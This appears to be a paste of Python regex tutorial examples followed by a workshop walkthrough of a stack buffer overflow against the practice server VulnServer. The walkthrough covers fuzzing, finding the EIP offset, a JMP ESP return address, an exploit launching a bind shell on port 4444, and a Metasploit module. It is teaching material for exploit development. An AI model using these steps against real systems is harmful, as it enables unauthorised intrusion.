- ---------------------------------------------------------------------------------------------------------------------------
- Code
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
- result= re.split(r'[;,\s]', line)
- print result
- Output:
- ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
- We can also use method re.sub() to replace these multiple delimiters with one as space " ".
- Code
- import re
- line = 'asdf fjdk;afed,fjek,asdf,foo'
- result= re.sub(r'[;,\s]',' ', line)
- print result
- Output:
- asdf fjdk afed fjek asdf foo
- **************************************************
- * Problem 8: Retrieve Information from HTML file *
- **************************************************
- I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
- Sample HTML file (str)
- <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
- <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
- <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
- <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
- <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
- <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
- <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
- Solution:
- Code
- result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
- print result
- Output:
- [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
- You can read html file using library urllib2 (see below code).
- Code
- import urllib2
- response = urllib2.urlopen('')
- html = response.read()
- #####################################
- # Quick Stack Based Buffer Overflow #
- #####################################
- - You can download everything you need for this exercise (except netcat) from the link below
- https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
- - Extract this zip file to your Desktop
- - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
- - Open a new command prompt and type:
- nc localhost 9999
- - In the new command prompt window where you ran nc type:
- HELP
- - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
- - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- - Now double-click on 1-simplefuzzer.py
- - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
- - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
- - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
- - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
- - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
- - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
- - Calculate the distance to EIP by running script 3-3000chars.py
- - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
- 4-count-chars-to-EIP.py
- - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
- 5-2006char-eip-check.py
- - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
- 6-jmp-esp.py
- - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
- 7-first-exploit
- - In this script we actually do the stack overflow and launch a bind shell on port 4444
- 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- ------------------------------
- cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
- vi vulnserv.rb (paste the code into this file)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement